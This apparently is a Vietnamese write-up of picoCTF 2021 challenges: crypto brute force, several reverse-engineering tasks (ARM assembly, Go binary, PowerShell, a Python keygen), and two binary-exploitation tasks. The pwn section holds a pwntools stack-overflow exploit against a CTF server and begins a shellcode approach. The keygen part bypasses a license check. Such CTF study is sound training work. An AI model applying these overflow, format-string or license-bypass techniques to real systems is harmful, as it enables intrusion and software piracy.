
Còn đây là đoạn bruteforce với độ dài của key là 9

def bruteforce():    cou = 0    for x1 in li1:        for x2 in li2:            for x3 in li3:                for x4 in li4:                    for x5 in ALPHABET:                        potentialKey = x1 + x2 + x3 + x4 + x5                        dec = ''                        for i, c in enumerate(string):                            dec += shift_decode(c, potentialKey[i % len(potentialKey)])                        potentialMess = b16_decode(dec)                        flag = 0                        for e in potentialMess:                            if e not in keyChar:                                flag = 1                        print(cou, 'Attempting:', potentialMess)                        cou += 1                        if (flag == 0):                            print('FOUND: ', potentialMess)                            return;bruteforce()


RE>

phuonghoang

-Easy as GDB

Description: The flag has got to be checked somewhere...You can find out the source of challenge and script here( source, script)

The name of function, variable in my writeup will called as the way they displays on IDA's disassembly window.

Proceed to solve

1 - Your input will XORed with multiple keys which generated from the loop of function sub_82b() function
Input will xored with multiple xor-key before continuing

IDA's Decompiler( pseudo-code - F5) sometimes makes some mistakes. Be careful!( i.e it happened in this challenge)

2 - I debugged this program at sub_7C2(array, size, option) to recognize that this function will shuffle an array with option( 1 or -1). Furthermore, two options are inverse. If I take a result array generated with option -1 as the first argument of sub_7C2(), and select the option 1, the function will return the original array:

Appendix

There are some mistakes of IDA's decompiler I discovered while solving following below:1.

-Rolling My Own

Challenge's Description: I don't trust password checkers made by other people, so I wrote my own. It doesn't even need to store the password! If you can crack it I'll give you a flag.You can find out the challenge's source and solving script here( source, script)

Firstly, I think two hints of this challenge is very important. Firstly, you should deeply the paper related directly this challenge. Besides, the second hint "Here's the start of the password: D1v1" is also worthy.

The main idea of paper

his paper suggested an anti-disassembly technique by using cryptographic hash. Particularly, a key and salt were chosen to generate the hash digest which contains some bytes of machine code( also called "running code"). In program there are a function which pick some bytes at arbitrary position in those hash digests ( these positions will be decided by programmer before) and create running code. The disassembly of IDA or well-known disassembler will failed in disassembling those bytes because the byte arrays which they received are hash digests, no machine code.

The key steps to right password

The idea of challenge

Storing salts and positions of running code on stack

Mochi Nishi

-ARMssembly 1

Đây là đoạn chương trình:

.arch armv8-a    .file   "chall_1.c"    .text    .align  2    .global func    .type   func, %functionfunc:    sub sp, sp, #32    str w0, [sp, 12]    mov w0, 85    str w0, [sp, 16] //85    mov w0, 6    str w0, [sp, 20] //6    mov w0, 3    str w0, [sp, 24] //3    ldr w0, [sp, 20]    ldr w1, [sp, 16]    lsl w0, w1, w0   //left shift: w0 = w1 << w0; w0 = 85 << 6    str w0, [sp, 28] //85 << 6    ldr w1, [sp, 28]    ldr w0, [sp, 24] //3    sdiv    w0, w1, w0 //div: w0 = w1 / d0; w0 = (85 << 6) / 3    str w0, [sp, 28] //(85 << 6) / 3    ldr w1, [sp, 28]    ldr w0, [sp, 12] //argument    sub w0, w1, w0   //subtract: w0 = w1 - w0; w0 = (85 << 6) / 3 - argument    str w0, [sp, 28]    ldr w0, [sp, 28]    add sp, sp, 32    ret    .size   func, .-func    .section    .rodata    .align  3.LC0:    .string "You win!"    .align  3.LC1:    .string "You Lose :("    .text    .align  2    .global main    .type   main, %functionmain:    stp x29, x30, [sp, -48]!    add x29, sp, 0    str w0, [x29, 28]    str x1, [x29, 16]    ldr x0, [x29, 16]    add x0, x0, 8    ldr x0, [x0]    bl  atoi    str w0, [x29, 44]    ldr w0, [x29, 44]    bl  func    cmp w0, 0   //Conclusion: argument = (85 << 6) / 3    bne .L4    adrp    x0, .LC0    add x0, x0, :lo12:.LC0    bl  puts    b   .L6.L4:    adrp    x0, .LC1    add x0, x0, :lo12:.LC1    bl  puts.L6:    nop    ldp x29, x30, [sp], 48    ret    .size   main, .-main    .ident  "GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"    .section    .note.GNU-stack,"",@progbits

Hint của đề bài là shifts, ta có thể hiểu đây những phép thao tác dịch bit, cách làm của bài đã được dịch trong đoạn source code trên, ta có thể suy ra được kết quả bài toán bằng với kết quả của
Flag: picoCTF{00000715}

-ARMssembly 2

Đây là đoạn chương trình:

    .arch armv8-a    .file   "chall_2.c"    .text    .align  2    .global func1    .type   func1, %functionfunc1:    sub sp, sp, #32    str w0, [sp, 12] //3848786505    str wzr, [sp, 24] //0    str wzr, [sp, 28] //0    b   .L2.L3:    ldr w0, [sp, 24]    add w0, w0, 3    //w0 += 3    str w0, [sp, 24]     ldr w0, [sp, 28]    add w0, w0, 1        //w0 += 1    str w0, [sp, 28].L2:    ldr w1, [sp, 28]    ldr w0, [sp, 12]    cmp w1, w0    bcc .L3    ldr w0, [sp, 24]    add sp, sp, 32    ret    .size   func1, .-func1    .section    .rodata    .align  3.LC0:    .string "Result: %ld\n"    .text    .align  2    .global main    .type   main, %functionmain:    stp x29, x30, [sp, -48]!    add x29, sp, 0    str w0, [x29, 28]    str x1, [x29, 16]    ldr x0, [x29, 16]    add x0, x0, 8    ldr x0, [x0]    bl  atoi    bl  func1    str w0, [x29, 44]    adrp    x0, .LC0    add x0, x0, :lo12:.LC0    ldr w1, [x29, 44]    bl  printf    nop    ldp x29, x30, [sp], 48    ret    .size   main, .-main    .ident  "GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"    .section    .note.GNU-stack,"",@progbits

Nhìn sơ qua thì đây là 1 vòng lặp, ta viết lại đoạn chương trình như sau:

o = 3848786505e = 0for i in range(o + 1):    e += 3print(hex(e))

Nhưng vì vòng for quá lớn, ta không chạy được vòng for này nên ta có thể cải tiến bằng cách khác:

o = 3848786505e = 0print(hex(o * 3))

Kết quả là 2b03776db, nhưng vì đáp án đề yêu cầu là số 32 bit nên ta phải bỏ đi số 2 đầu tiênFlag: picoCTF{b03776db}

-ARMssembly 3

Đoạn chương trình của đề:

.arch armv8-a    .file   "chall_3.c"    .text    .align  2    .global func1    .type   func1, %functionfunc1:    stp x29, x30, [sp, -48]!    add x29, sp, 0    str w0, [x29, 28]   //arg    str wzr, [x29, 44]  //res = 0    b   .L2.L4:    ldr w0, [x29, 28]    and w0, w0, 1           cmp w0, 0               beq .L3             //if arg is even then jump to .L3    ldr w0, [x29, 44]    bl  func2           //func2 usage: res += 3    str w0, [x29, 44]   .L3:    ldr w0, [x29, 28]    lsr w0, w0, 1       //arg /= 2    str w0, [x29, 28].L2:    ldr w0, [x29, 28]   //arg    cmp w0, 0    bne .L4    ldr w0, [x29, 44]    ldp x29, x30, [sp], 48    ret    .size   func1, .-func1    .align  2    .global func2    .type   func2, %functionfunc2:    sub sp, sp, #16    str w0, [sp, 12]    ldr w0, [sp, 12]    add w0, w0, 3    add sp, sp, 16    ret    .size   func2, .-func2    .section    .rodata    .align  3.LC0:    .string "Result: %ld\n"    .text    .align  2    .global main    .type   main, %functionmain:    stp x29, x30, [sp, -48]!    add x29, sp, 0    str w0, [x29, 28]    str x1, [x29, 16]    ldr x0, [x29, 16]    add x0, x0, 8    ldr x0, [x0]    //arg    bl  atoi    bl  func1    str w0, [x29, 44]    adrp    x0, .LC0    add x0, x0, :lo12:.LC0    ldr w1, [x29, 44]    bl  printf    nop    ldp x29, x30, [sp], 48    ret    .size   main, .-main    .ident  "GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"    .section    .note.GNU-stack,"",@progbits

Đoạn chương trình cơ bản xem coi có bao nhiêu bit 1 trong cách biểu diễn nhị phân của arg (đề cho), sau đó lấy số lượng bit 1 đó nhân 3 lên. Đoạn script dưới đây mô tả lại quá trình thực hiện cảu đoạn chương trình trên:

a = 3350728462 #đề chores = 0while a != 0:    if a % 2 == 1:        res += 3    a = (a >> 1)print(hex(res))

Flag: picoCTF{00000030}

-ARMssembly 4

Đoạn chương trình của đề:

.arch armv8-a    .file   "chall_4.c"    .text    .align  2    .global func1    .type   func1, %functionfunc1:    stp x29, x30, [sp, -32]!    add x29, sp, 0    str w0, [x29, 28]    ldr w0, [x29, 28]       cmp w0, 100             bls .L2    ldr w0, [x29, 28]    add w0, w0, 100    bl  func2    b   .L3.L2:    ldr w0, [x29, 28]    bl  func3.L3:    ldp x29, x30, [sp], 32    ret    .size   func1, .-func1    .align  2    .global func2    .type   func2, %functionfunc2:    stp x29, x30, [sp, -32]!    add x29, sp, 0    str w0, [x29, 28]    ldr w0, [x29, 28]    cmp w0, 499    bhi .L5    ldr w0, [x29, 28]    sub w0, w0, #86    bl  func4    b   .L6.L5:    ldr w0, [x29, 28]    add w0, w0, 13    bl  func5.L6:    ldp x29, x30, [sp], 32    ret    .size   func2, .-func2    .align  2    .global func3    .type   func3, %functionfunc3:    stp x29, x30, [sp, -32]!    add x29, sp, 0    str w0, [x29, 28]    ldr w0, [x29, 28]    bl  func7    ldp x29, x30, [sp], 32    ret    .size   func3, .-func3    .align  2    .global func4    .type   func4, %functionfunc4:    stp x29, x30, [sp, -48]!    add x29, sp, 0    str w0, [x29, 28]    mov w0, 17    str w0, [x29, 44]    ldr w0, [x29, 44]    bl  func1    str w0, [x29, 44]    ldr w0, [x29, 28]    ldp x29, x30, [sp], 48    ret    .size   func4, .-func4    .align  2    .global func5    .type   func5, %functionfunc5:    stp x29, x30, [sp, -32]!    add x29, sp, 0    str w0, [x29, 28]    ldr w0, [x29, 28]    bl  func8    str w0, [x29, 28]    ldr w0, [x29, 28]    ldp x29, x30, [sp], 32    ret    .size   func5, .-func5    .align  2    .global func6    .type   func6, %functionfunc6:    sub sp, sp, #32    str w0, [sp, 12]    mov w0, 314    str w0, [sp, 24]    mov w0, 1932    str w0, [sp, 28]    str wzr, [sp, 20]    str wzr, [sp, 20]    b   .L14.L15:    ldr w1, [sp, 28]    mov w0, 800    mul w0, w1, w0    ldr w1, [sp, 24]    udiv    w2, w0, w1    ldr w1, [sp, 24]    mul w1, w2, w1    sub w0, w0, w1    str w0, [sp, 12]    ldr w0, [sp, 20]    add w0, w0, 1    str w0, [sp, 20].L14:    ldr w0, [sp, 20]    cmp w0, 899    bls .L15    ldr w0, [sp, 12]    add sp, sp, 32    ret    .size   func6, .-func6    .align  2    .global func7    .type   func7, %functionfunc7:    sub sp, sp, #16    str w0, [sp, 12]    ldr w0, [sp, 12]    cmp w0, 100    bls .L18    ldr w0, [sp, 12]    b   .L19.L18:    mov w0, 7.L19:    add sp, sp, 16    ret    .size   func7, .-func7    .align  2    .global func8    .type   func8, %functionfunc8:    sub sp, sp, #16    str w0, [sp, 12]    ldr w0, [sp, 12]    add w0, w0, 2    add sp, sp, 16    ret    .size   func8, .-func8    .section    .rodata    .align  3.LC0:    .string "Result: %ld\n"    .text    .align  2    .global main    .type   main, %functionmain:    stp x29, x30, [sp, -48]!    add x29, sp, 0    str w0, [x29, 28]    str x1, [x29, 16]    ldr x0, [x29, 16]    add x0, x0, 8    ldr x0, [x0]    bl  atoi    str w0, [x29, 44]   //3964545182    ldr w0, [x29, 44]    bl  func1    mov w1, w0    adrp    x0, .LC0    add x0, x0, :lo12:.LC0    bl  printf    nop    ldp x29, x30, [sp], 48    ret    .size   main, .-main    .ident  "GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"    .section    .note.GNU-stack,"",@progbits

Mặc dù nhìn code khá dài, nhưng thực ra cũng không khó, việc của chúng ta lúc này là viết ra một đoạn script mô phỏng lại chương trình đang chạy và in ra kết quả. Tuy nhiên có lưu ý ở đây là func6 nếu để ý kĩ thì sẽ không được sử dụng, cho nên script của mình không viết func6 vào.

a = 3964545182def func1(a):    if a <= 100:        a = func3(a)    else:        a += 100        a = func2(a)    return adef func2(a):    if a > 499:        a += 13        a = func5(a)    else:        a -= 86        a = func4(a)    return adef func3(a):    a = func7(a)def func4(a):    k = func1(17)    return adef func5(a):    a = func8(a)    return adef func7(a):    if (a <= 100):        a = 7    return adef func8(a):    a += 2    return aa = func1(a)print(hex(a))

Flag: picoCTF{ec4e2911}

-gogo

Đề bài:Hmmm this is a weird file... enter_password. There is a instance of the service running at mercury.picoctf.net:35862.

Cách làm:

$ file enter_passwordenter_password: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=dSGr2TxewgLiHXv2h4V0/X91zd5C2lAkGTLFzXoln/iepyNIwQPue4FGJD5lPl/qJbWXlfMi7bgFI6RKmFg, with debug_info, not stripped

Đây là một chương trình được viết bằng GoLang, và bi đát hơn là file đã bị statically linked =((. Khi chạy file thì file đòi hỏi nhập vào một password:chạy thử file enter_passwordSau đó ta sẽ xài Decompiler của ghidra, kết hợp Dynamic Analysis từ IDA:Code được decompile của ghidraNhìn sơ qua thì ta có thể hiểu rằng mảng local_40 được chia ra làm 2 phần: keyresult. Vậy để có thể đưa ra password đúng, ta chỉ việc lấy key xor với result

f = open('../abc.inp', 'r')a = [i[22:25].strip() for i in f.readlines()]intLi = []key = ''for i in a:    intNum = 0    if i.find('h') != -1:        intNum = int(i[:-1], 16)    else: intNum = int(i, 16)    intLi.append(intNum)for i in range(32):    k = chr(intLi[i] ^ intLi[i + 32])    print(k, end = "")#result = reverseengineericanbarelyforward

Ta enter password lên server thử:

Nhập password lên server

Bên server đòi unhashed key, ta nhận ra rằng mảng local_40 hồi nãy được chia ra làm 2 phần, trong đó có phần key, ta lấy phần key đó dùng tool md5 decrypt trên mạng ta được từ goldfish:MD5 decryptSau đó nhập từ goldfish vào và ta được flag:

-Powershelly

Đề bài:It's not a bad idea to learn to read Powershell. We give you the output, but do you think you can find the input? rev_PS.ps1 output.txt

Nhìn sơ qua 2 file, cho ta hiểu rằng file rev_PS.ps1 là một file powershell, đưa vào input.txt sẽ cho ra một file output.txt tương ứng, nhiệm vụ chúng ta phải dịch ngược file powershell này cùng với file output.txt để đưa ra file input.txt hợp lí.Các điều kiện của file input.txt

Nhìn sơ qua, ta hiểu rằng file input.txt là một file gồm 5 dòng, mỗi dòng gồm 9245 kí tự, trong đó chỉ chứa 3 kí tự là 0, 1 và dấu cách, ngoài ra mỗi dòng sẽ là nhiều đoạn mã nhị phân có độ dài là 6.Đặc biệt, chương trình tạo ra mảng blocks[] nhằm tạo ra các mã nhị phân là chuỗi được nối từ 6 mã nhị phân của mỗi cột.Phần xử lí chính của chương trình

Nhìn sơ qua, ta biết rằng file sẽ lấy các mã nhị phân trong mảng block[], làm một vài phép biến đổi để tạo ra số fun, từ đó ta ra được result và ghi vào file.Với những thông tin biết được, ta sẽ viết một đoạn script để dịch ngược lại như sau:

f = open("output.txt", 'r')    #mở file output.txt, đọc dữ liệu vàointLi = [int(i.strip()) for i in f.readlines()]seeds = []random = []for i in range(1, 265):    seeds.append((i * 127) % 500)for i in range(1, 265):    random.append((((i * 327) % 681) + 344) % 313)f = []for i in range(5):    f.append([])def DeScramble(block, seed):    res = ['0' for oo in range(30)]    for i in range(30):        pos = (i * seed) % 30        while block[pos] == '10':            pos = (pos + 1) % 30        if block[pos] == '11':            res[i] = '1'        block[pos] = '10'    a = ''.join(res)    return afor i in range(264):    if i == 0:        fun = intLi[i] ^ random[i]    else:        fun = intLi[i] ^ intLi[i-1] ^ random[i]    binFun = bin(fun)[2:]    li = [binFun[j] + binFun[j+1] for j in range(0, 60, 2)]    res = DeScramble(li, seeds[i])    for i in range(5):        f[i].append(res[i*6:i*6+6])#Đoạn chương trình tiếp theo được dùng để lấy flagfor i in range(5):    o = f[i][0]    ans = ''    for j in f[i]:        if j == o:            ans += '0'        else:            ans += '1'    print(bytes.fromhex(hex(int(ans, 2))[2:]))

Sau khi ra được file input.txt, đó sẽ là một file chứa đầy mã nhị phân, vậy giờ làm gì tiếp theo?Nếu chỉ quan sát trên 1 dòng, ta thấy rằng mã nhị phân chỉ chứa 2 giá trị và kèo dài cho tới hết mảng đó. Với nghi ngờ này, mình đã giả sử 1 giá trị của mã nhị phân là 1, giá trị của mã nhị phân còn lại là 0, sau đó đổi từ mã bin ta nhận được ra text. Kết quả như sau:

b'picoCTF{2018highw@y_2_pow3r$hel!}'b'picoCTF{2018highw@y_2_pow3r"hel!}'b'picoCTF{2018highw@y_2_pow3r$hel!}'b'picoCTF{2018highw@y_2_pow3r$hel!}'b'picoCTF{2018highw@y_2_pow3r$hel!}'

-Hurry up! Wait!

Quăng file này vào IDATrong hàm main(), nó gọi một lệnh sub(), lệnh này gọi 1 đống lệnh khácCheck hex thì từng hàm sẽ xuất ra một giá trị của flag

-Let's get dynamic

Đầu tiên, biên dịch file này ra Executable

as -o a.o chall.s
gcc -static -o bbc a.o

Mở nó bằng IDA và giải bằng IDAPython

t = ida_bytes.get_bytes(0x200, 49)cipher = [i for i in t]t = bytes.fromhex("0x3148F6E1952EA1FDF185A0A444D075F5CE8D535EAE906117F619A7901244A3EE8755FFF4606FEB2A236FEFC7E21F8A1428"[2:])[::-1]key = [i for i in t]def decrypt(c, k):    out = ""    for i in range(49):        out += chr(c[i] ^ k[i] ^ i ^ 0x13)    return outprint(decrypt(cipher, key))

-keygenme-py

Đây là 1 challenge dạng menu. Tại mục (c) yêu cầu mã kích hoạt bản full của chương trình (cũng chính là flag)

===============================================Welcome to the Arcane Calculator, SCHOFIELD!This is the trial version of Arcane Calculator.The full version may be purchased in person nearthe galactic center of the Milky Way galaxy. Available while supplies last!=====================================================___Arcane Calculator___Menu:(a) Estimate Astral Projection Mana Burn(b) [LOCKED] Estimate Astral Slingshot Approach Vector(c) Enter License Key(d) Exit Arcane CalculatorWhat would you like to do, SCHOFIELD (a/b/c/d)? 

Source code

Key gồm 3 phần:

key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"key_part_dynamic1_trial = "xxxxxxxx"key_part_static2_trial = "}"key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial

Ta chỉ cần chú ý đến hàm check_key để tìm ra key_part_dynamic1_trial

def check_key(key, username_trial):    global key_full_template_trial    if len(key) != len(key_full_template_trial):        return False    else:        # Check static base key part --v        i = 0        for c in key_part_static1_trial:            if key[i] != c:                return False            i += 1        # TODO : test performance on toolbox container        # Check dynamic part --v        if key[i] != hashlib.sha256(username_trial).hexdigest()[4]:             return False        else:            i += 1        if key[i] != hashlib.sha256(username_trial).hexdigest()[5]:            return False        else:            i += 1        if key[i] != hashlib.sha256(username_trial).hexdigest()[3]:            return False        else:            i += 1        if key[i] != hashlib.sha256(username_trial).hexdigest()[6]:            return False        else:            i += 1        if key[i] != hashlib.sha256(username_trial).hexdigest()[2]:            return False        else:            i += 1        if key[i] != hashlib.sha256(username_trial).hexdigest()[7]:            return False        else:            i += 1        if key[i] != hashlib.sha256(username_trial).hexdigest()[1]:            return False        else:            i += 1        if key[i] != hashlib.sha256(username_trial).hexdigest()[8]:            return False        return True

với username_trial:

username_trial = "SCHOFIELD"

Exploit

import hashlibfrom cryptography.fernet import Fernetimport base64username_trial = "SCHOFIELD".encode()key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"key_part_static2_trial = "}"key_part_dynamic1_trial = hashlib.sha256(username_trial).hexdigest()[4]key_part_dynamic1_trial += hashlib.sha256(username_trial).hexdigest()[5]key_part_dynamic1_trial += hashlib.sha256(username_trial).hexdigest()[3]key_part_dynamic1_trial += hashlib.sha256(username_trial).hexdigest()[6]key_part_dynamic1_trial += hashlib.sha256(username_trial).hexdigest()[2]key_part_dynamic1_trial += hashlib.sha256(username_trial).hexdigest()[7]key_part_dynamic1_trial += hashlib.sha256(username_trial).hexdigest()[1]key_part_dynamic1_trial += hashlib.sha256(username_trial).hexdigest()[8]key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trialprint(key_full_template_trial)

Output

revirven@ubuntu:~/Desktop/GitHub/CTF-Writeups/PicoCTF-2021/Reverse-Engineering/keygenme-py$ python3 exploit.pypicoCTF{1n_7h3_|<3y_of_e584b363}

Bonus

Khi nhập key vào, chương trình sẽ tạo 1 file keygenme.py là bản full của chương trình và mục (b) sẽ được mở khoá

===============================================Welcome to the Arcane Calculator, SCHOFIELD!This is the trial version of Arcane Calculator.The full version may be purchased in person nearthe galactic center of the Milky Way galaxy. Available while supplies last!=====================================================___Arcane Calculator___Menu:(a) Estimate Astral Projection Mana Burn(b) [LOCKED] Estimate Astral Slingshot Approach Vector(c) Enter License Key(d) Exit Arcane CalculatorWhat would you like to do, SCHOFIELD (a/b/c/d)? cEnter your license key: picoCTF{1n_7h3_|<3y_of_e584b363}Full version written to 'keygenme.py'.Exiting trial version...===================================================Welcome to the Arcane Calculator, tron!===================================================___Arcane Calculator___Menu:(a) Estimate Astral Projection Mana Burn(b) Estimate Astral Slingshot Approach Vector(c) Exit Arcane CalculatorWhat would you like to do, tron (a/b/c)?

Binary Exploitation - PWN>

revirven

-Binary Gauntlet 0

Kiểm tra file

file

gauntlet: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a5c4ce8cddd5ece25b706af8d250134c3f70467c, not stripped

checksec

Arch:     amd64-64-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX disabledPIE:      No PIE (0x400000)RWX:      Has RWX segments

Decompile & Disassemble

Decompile main

undefined8 main(void){  char local_88 [108];  __gid_t local_1c;  FILE *local_18;  char *local_10;  local_10 = (char *)malloc(1000);  local_18 = fopen("flag.txt","r");  if (local_18 == (FILE *)0x0) {    puts(        "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are runningthis on the shell server."        );    exit(0);  }  fgets(flag,0x40,local_18);  signal(0xb,sigsegv_handler);  local_1c = getegid();  setresgid(local_1c,local_1c,local_1c);  fgets(local_10,1000,stdin);  local_10[999] = '\0';  printf(local_10);  fflush(stdout);  fgets(local_10,1000,stdin);  local_10[999] = '\0';  strcpy(local_88,local_10);  return 0;}

Decompile sigsegv_handler

void sigsegv_handler(void){  fprintf(stderr,"%s\n",flag);  fflush(stderr);                 exit(1);}

Hàm sigsegv_handler sẽ in ra flag. Khi hàm signal được gọi, nó sẽ thực thi sigsegv_handler. Vậy chỉ cần làm cho chương trình báo lỗi, ta sẽ có được flag.

Chương trình nhận vào 1 input rồi in input đó ra màn hình, sau đó nhận input thứ 2 rồi gọi hàm strcpy.Có 2 lỗi ở hàm main:

  1. printf(local_10) -> Lỗi chuỗi định dạng (Format String)
  2. strcpy(local_88, local_10) -> strcpy không kiểm tra số lượng kí tự ở dest -> Tràn bộ đệm tại dest nếu không được cấp phát đủ vùng nhớ để chứa chuỗi src (Buffer Overflow)

Vậy bài này có 2 hướng khai thác, nhưng vì người viết chương trình đã tốt bụng tắt hết các cơ chế bảo vệ, chúng ta sẽ dùng cách gây tràn vùng nhớ biến local_88 vì nó được đặt trong stack, dễ dàng ghi đè return address và gây lỗi.

Disassemble main

0x000000000040090d <+0>:  push   rbp0x000000000040090e <+1>:  mov    rbp,rsp0x0000000000400911 <+4>:  sub    rsp,0x900x0000000000400918 <+11>: mov    DWORD PTR [rbp-0x84],edi0x000000000040091e <+17>: mov    QWORD PTR [rbp-0x90],rsi0x0000000000400925 <+24>: mov    edi,0x3e80x000000000040092a <+29>: call   0x400790 <malloc@plt>0x000000000040092f <+34>: mov    QWORD PTR [rbp-0x8],rax0x0000000000400933 <+38>: lea    rsi,[rip+0x192]        # 0x400acc0x000000000040093a <+45>: lea    rdi,[rip+0x18d]        # 0x400ace0x0000000000400941 <+52>: call   0x4007c0 <fopen@plt>0x0000000000400946 <+57>: mov    QWORD PTR [rbp-0x10],rax0x000000000040094a <+61>: cmp    QWORD PTR [rbp-0x10],0x00x000000000040094f <+66>: jne    0x400967 <main+90>0x0000000000400951 <+68>: lea    rdi,[rip+0x180]        # 0x400ad80x0000000000400958 <+75>: call   0x400730 <puts@plt>0x000000000040095d <+80>: mov    edi,0x00x0000000000400962 <+85>: call   0x4007d0 <exit@plt>0x0000000000400967 <+90>: mov    rax,QWORD PTR [rbp-0x10]0x000000000040096b <+94>: mov    rdx,rax0x000000000040096e <+97>: mov    esi,0x400x0000000000400973 <+102>:    lea    rdi,[rip+0x200766]        # 0x6010e0 <flag>0x000000000040097a <+109>:    call   0x400760 <fgets@plt>0x000000000040097f <+114>:    lea    rsi,[rip+0xffffffffffffff41]        # 0x4008c7 <sigsegv_handler>0x0000000000400986 <+121>:    mov    edi,0xb0x000000000040098b <+126>:    call   0x400770 <signal@plt>0x0000000000400990 <+131>:    mov    eax,0x00x0000000000400995 <+136>:    call   0x4007b0 <getegid@plt>0x000000000040099a <+141>:    mov    DWORD PTR [rbp-0x14],eax0x000000000040099d <+144>:    mov    edx,DWORD PTR [rbp-0x14]0x00000000004009a0 <+147>:    mov    ecx,DWORD PTR [rbp-0x14]0x00000000004009a3 <+150>:    mov    eax,DWORD PTR [rbp-0x14]0x00000000004009a6 <+153>:    mov    esi,ecx0x00000000004009a8 <+155>:    mov    edi,eax0x00000000004009aa <+157>:    mov    eax,0x00x00000000004009af <+162>:    call   0x400740 <setresgid@plt>0x00000000004009b4 <+167>:    mov    rdx,QWORD PTR [rip+0x2006f5]        # 0x6010b0 <stdin@@GLIBC_2.2.5>0x00000000004009bb <+174>:    mov    rax,QWORD PTR [rbp-0x8]0x00000000004009bf <+178>:    mov    esi,0x3e80x00000000004009c4 <+183>:    mov    rdi,rax0x00000000004009c7 <+186>:    call   0x400760 <fgets@plt>0x00000000004009cc <+191>:    mov    rax,QWORD PTR [rbp-0x8]0x00000000004009d0 <+195>:    add    rax,0x3e70x00000000004009d6 <+201>:    mov    BYTE PTR [rax],0x00x00000000004009d9 <+204>:    mov    rax,QWORD PTR [rbp-0x8]0x00000000004009dd <+208>:    mov    rdi,rax0x00000000004009e0 <+211>:    mov    eax,0x00x00000000004009e5 <+216>:    call   0x400750 <printf@plt>0x00000000004009ea <+221>:    mov    rax,QWORD PTR [rip+0x2006af]        # 0x6010a0 <stdout@@GLIBC_2.2.5>0x00000000004009f1 <+228>:    mov    rdi,rax0x00000000004009f4 <+231>:    call   0x4007a0 <fflush@plt>0x00000000004009f9 <+236>:    mov    rdx,QWORD PTR [rip+0x2006b0]        # 0x6010b0 <stdin@@GLIBC_2.2.5>0x0000000000400a00 <+243>:    mov    rax,QWORD PTR [rbp-0x8]0x0000000000400a04 <+247>:    mov    esi,0x3e80x0000000000400a09 <+252>:    mov    rdi,rax0x0000000000400a0c <+255>:    call   0x400760 <fgets@plt>0x0000000000400a11 <+260>:    mov    rax,QWORD PTR [rbp-0x8]0x0000000000400a15 <+264>:    add    rax,0x3e70x0000000000400a1b <+270>:    mov    BYTE PTR [rax],0x00x0000000000400a1e <+273>:    mov    rdx,QWORD PTR [rbp-0x8]0x0000000000400a22 <+277>:    lea    rax,[rbp-0x80]0x0000000000400a26 <+281>:    mov    rsi,rdx0x0000000000400a29 <+284>:    mov    rdi,rax0x0000000000400a2c <+287>:    call   0x400720 <strcpy@plt>0x0000000000400a31 <+292>:    mov    eax,0x00x0000000000400a36 <+297>:    leave  0x0000000000400a37 <+298>:    ret    

Gọi hàm strcpy

0x0000000000400a1e <+273>:    mov    rdx,QWORD PTR [rbp-0x8]0x0000000000400a22 <+277>:    lea    rax,[rbp-0x80]0x0000000000400a26 <+281>:    mov    rsi,rdx0x0000000000400a29 <+284>:    mov    rdi,rax0x0000000000400a2c <+287>:    call   0x400720 <strcpy@plt>

Biến local_88 nằm ở [rbp - 0x80]. Chúng ta cần 0x90 bytes để ghi đè return address và gây sigsegv

Exploit

from pwn import *context.binary = ELF("./gauntlet")run = remote("mercury.picoctf.net", 12294)run.sendline("Pwned")payload = 'A' * 0x90run.sendline(payload)run.interactive()

Output

[*] '/home/revirven/Desktop/GitHub/CTF-Writeups/PicoCTF-2021/Binary-Exploitation/Binary-Gauntlet-0/gauntlet'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      No PIE (0x400000)    RWX:      Has RWX segments[+] Opening connection to mercury.picoctf.net on port 12294: Done[*] Switching to interactive modePwnedfbd01d62c0e369e6de3d63b4b21d3830[*] Got EOF while reading in interactive$ 

-Binary Gauntlet 1

Tham khảo binary gauntlet 0

Kiểm tra file

file

gauntlet: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2a7f79b758fdc250528e5bbc3da169fbf74e4ad3, not stripped

checksec

Arch:     amd64-64-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX disabledPIE:      No PIE (0x400000)RWX:      Has RWX segments

Cũng như gauntlet 0, không khác gì lắm

Decompile & Disassemble

Decompile main

undefined8 main(void){  char local_78 [104];  char *local_10;  local_10 = (char *)malloc(1000);  printf("%p\n",local_78);  fflush(stdout);  fgets(local_10,1000,stdin);  local_10[999] = '\0';  printf(local_10);  fflush(stdout);  fgets(local_10,1000,stdin);  local_10[999] = '\0';  strcpy(local_78,local_10);  return 0;}

Lần này chương trình không có phương thức để đọc flag. Vì vậy chúng ta sẽ dùng shellcode để mở shell và đọc flag. Chương trình cung cấp cho ta địa chỉ của biến local_78, đây sẽ là nơi ta chèn shellcode vào và return về

printf("%p\n",local_78);

Disassemble main

